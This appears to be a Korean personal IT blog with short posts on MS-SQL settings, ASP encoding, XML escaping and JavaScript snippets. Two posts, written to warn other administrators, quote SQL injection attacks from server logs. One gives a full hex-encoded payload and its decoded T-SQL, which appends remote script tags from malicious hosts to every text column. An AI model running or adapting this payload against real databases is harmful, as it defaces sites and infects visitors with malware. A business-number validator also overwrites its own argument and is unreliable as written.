스카리아풀빌라

쿼리 실행시 sp_dbcmptlevel 호환성 수준 80 이하로 설정관한 에러시

IT/MS-SQL
쿼리 실행시 아래와 같은 에러 발생시
저장 프로시저 sp_dbcmptlevel을 사용하여 현재 데이터베이스의 호환성 수준을 80 이하로 설정하십시오.

호환성 수준 확인
sp_dbcmptlevel 'db이름'

호환성을 80버전 수정
sp_dbcmptlevel 'db이름', 80

위와 같이 실행하고 하면 에러가 발생하지 않는다.

euc-kr -> utf-8로

IT
먼저 상단에 <%@codepage=65001%> 값을 넣고,
메타태그를 설정한다. <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
저장할때 utf-8로 저장을 하면 제대로 글이 나온다. ㅎㅎ

최근에 다시 들어오기 시작하는 sql Injection

IT/sql Injection
최근에 다시 들어오기 시작하는 sql Injection

dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F4375727 36F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6 C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F52206 22E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F7220 4645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F53544154555 33D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E56455254 28564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F732E6361776A622E636F6D2F732E6A73
웹나이트를 써서 그런지 로그가 짤리는데, 우선 내용을 확인하면

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://s.cawjb.com/s.js

위에 내용을 보면 마지막에 스크립트가 있습니다. 최근까지 들어오는것과 다른 스크립트가 삽입되어서 다시 들어오기 시작하고 있습니다.
이런 sql Injection 공격을 하는놈들 어떻게 해야할지,, 그리고, 좀비서버들이 왜 이리 많은지,, IP Search를 해보면, 한국IP도 많은것 같습니다. 제발 보안에 좀 신경을 쓰셔서 우회해서 들어오는것이 없도록 해야할것 같습니다.

최근 회사서버의 sql Injection 공격

IT/sql Injection
10월말부터 현재까지 계속해서 하나의 스크립트만 줄기차게 들어오고 있는중이네.
특정아이피부터 주소 모두 막고 있지만, 계속해서 들어오는게 장난이 아니네.
아래는 웹나이트 로그분석기 캡쳐이미지입니다.

타임을 보면 알겠지만, 거의 쉬지 않고 들어오는중입니다.
내용을 확인해보면, <sc ript src=http://s.ardoshanghai.com/s.js></scr ipt> 입니다.
구글에서 검색을 sql injection 공격을 받은 사이트가 무지 많네요.
모든분들 미리미리 예방을 하셔서 DB날리는 일이 없기를...

로컬영역연결2등을 없애는 방법

IT

로컬영역연결 지우기

cmd -> regedit 로 들어갑니다.

레지스트리에서 아래의 위치에 가셔서 확인하고 삭제후 하드웨어검색부분에서
네트워크부분에서 랜카드를 삭제후 다시 검색을 하셔서 설치를 하면 깔끔하게 돌아옵니다.

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Network\{알수없는 여러문자열}\Connection
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Network\{알수없는 여러 문자열}\Connection

라이트박스종류

IT

asp 랜덤키 생성하기

IT
아래의 링크에 가시면 자세히 설명되어 있습니다.

http://support.microsoft.com/default.aspx/kb/320375

xml에서 &와 같은 문자 에러시

IT
XML 문서내의 모든 문장들은 파서에 의해 검사된다
그러나 CDATA 섹션안의 문장들은 예외가 된다.



Parsed Data


XML 파서는 보통 문서내의 모든 문장들을 분석한다.

XML element 를 parse 할때 테그 사이의 문자열도 아래예처럼 parse 하게 되는데

<message>This text is also parsed</message>

왜냐하면 XML element 사이에 다른 element 가 속해 있을수도 있기때문이다.
아래 예에서 <name> element 사이에 다른 element 들이 속해있을수 있다.

<name><first>Bill</first><last>Gates</last></name>

그리고 파서는 이것을 sub-element 로 나뉘다.

<name>
   <first>Bill</first>
   <last>Gates</last>
</name>


Escape Characters

XML 문자데이터로 사용할수 없는 문자들은 이를 다른 것으로 바꿔줘야 한다.

아래 예처럼 XML element 안에서 '<' 를 사용한다면 파서는 에러를
발생 시킨다.

<message>if salary < 1000 then</message>

위 문장은 아래처럼 '<' 를 &lt; 로 바꿔줘야한다.

<message>if salary &lt; 1000 then</message>


XML 에서 미리 정의된 5개의 entity reference

&lt; < less than
&gt; > greater than
&amp; & ampersand 
&apos; ' apostrophe
&quot; " quotation mark

entity reference 는 항상 '&' 로 시작해서 ';' 끝난다.

노트: XML 에서 '<' 과 '&' 의 사용은 정대 허용이 안된다.
나머지 3개 문자는 허용은 되나 이를 사용하는것은 좋은 습관은 아니다.


CDATA

CDATA 섹션안의 모든것은 파서를 거치지 않는다.
프로그램 코드에서 종종 사용하는 '<' 나 '&' 문자 뿐아니라
어떤 문자도 사용할수있다

CDATA 섹션은 "<![CDATA[" 로 시작하고 "]]>" 로 끝난다.

사업자등록번호 검사

IT

function fnSaupNo(strNumb){
 strNumb= "1234567890";

 sumMod = 0;
 sumMod += Number(strNumb.substring(0,1));
 sumMod += Number(strNumb.substring(1,2)) * 3 % 10;
 sumMod += Number(strNumb.substring(2,3)) * 7 % 10;
 sumMod += Number(strNumb.substring(3,4)) * 1 % 10;
 sumMod += Number(strNumb.substring(4,5)) * 3 % 10;
 sumMod += Number(strNumb.substring(5,6)) * 7 % 10;
 sumMod += Number(strNumb.substring(6,7)) * 1 % 10;
 sumMod += Number(strNumb.substring(7,8)) * 3 % 10;
 sumMod += Math.floor(Number(strNumb.substring(8,9)) * 5 / 10);
 sumMod += Number(strNumb.substring(8,9)) * 5 % 10;
 sumMod += Number(strNumb.substring(9,10));

 if (sumMod % 10 != 0){
  alert("올바르지 않은 사업자등록번호입니다.");
 }
}

ifram src값 변경하는 방법

IT
 function go() {
 //ifram src값 변경하는 방법
 report.location.replace("http://www.naver.com");
 }